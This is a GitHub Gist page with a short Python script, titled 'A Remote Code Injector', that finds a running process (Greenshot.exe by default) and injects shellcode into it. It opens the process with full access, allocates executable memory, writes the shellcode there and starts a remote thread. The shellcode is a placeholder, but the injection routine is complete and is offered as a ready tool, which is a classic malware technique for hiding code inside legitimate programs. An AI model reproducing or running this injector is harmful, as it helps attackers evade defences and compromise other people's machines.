Created
March 9, 2023 12:39
-
-
Save UnleashTheCode/9d2f46658461ce0a803adc4c071b4804 to your computer and use it in GitHub Desktop.
A Remote Code Injector written in Python
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Remote Process Memory Injection | |
# Doesn't work on every program | |
# Tested with .NET programs (EarTrumpet, Greenshot) | |
import sys | |
from ctypes import * | |
import psutil | |
shellCode = b"Shell_code_here" | |
kernel32_variable = windll.kernel32 | |
if shellCode == b"Shell_code_here": | |
print("Put your shellcode.") | |
sys.exit(0) | |
def findProcess(name="Greenshot.exe"): | |
procs = list() | |
#Iterate over the all the running process | |
for proc in psutil.process_iter(): | |
try: | |
if proc.name() == name and proc.status() == psutil.STATUS_RUNNING: | |
pid = proc.pid | |
procs.append(pid) | |
except: | |
pass | |
return procs | |
try: | |
process_id = findProcess()[0] | |
process_handle = kernel32_variable.OpenProcess(0x1F0FFF, False, process_id) | |
memory_allocation_variable = kernel32_variable.VirtualAllocEx(process_handle, None, len(shellCode), 0x00001000, 0x40) | |
kernel32_variable.WriteProcessMemory(process_handle, memory_allocation_variable, shellCode, len(shellCode), None) | |
if not kernel32_variable.CreateRemoteThread(process_handle, None, 0, memory_allocation_variable, None, 0, None): | |
print("Something wrong") | |
sys.exit(0) | |
except IndexError: | |
print("Process not found") | |
print("Injection completed.") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment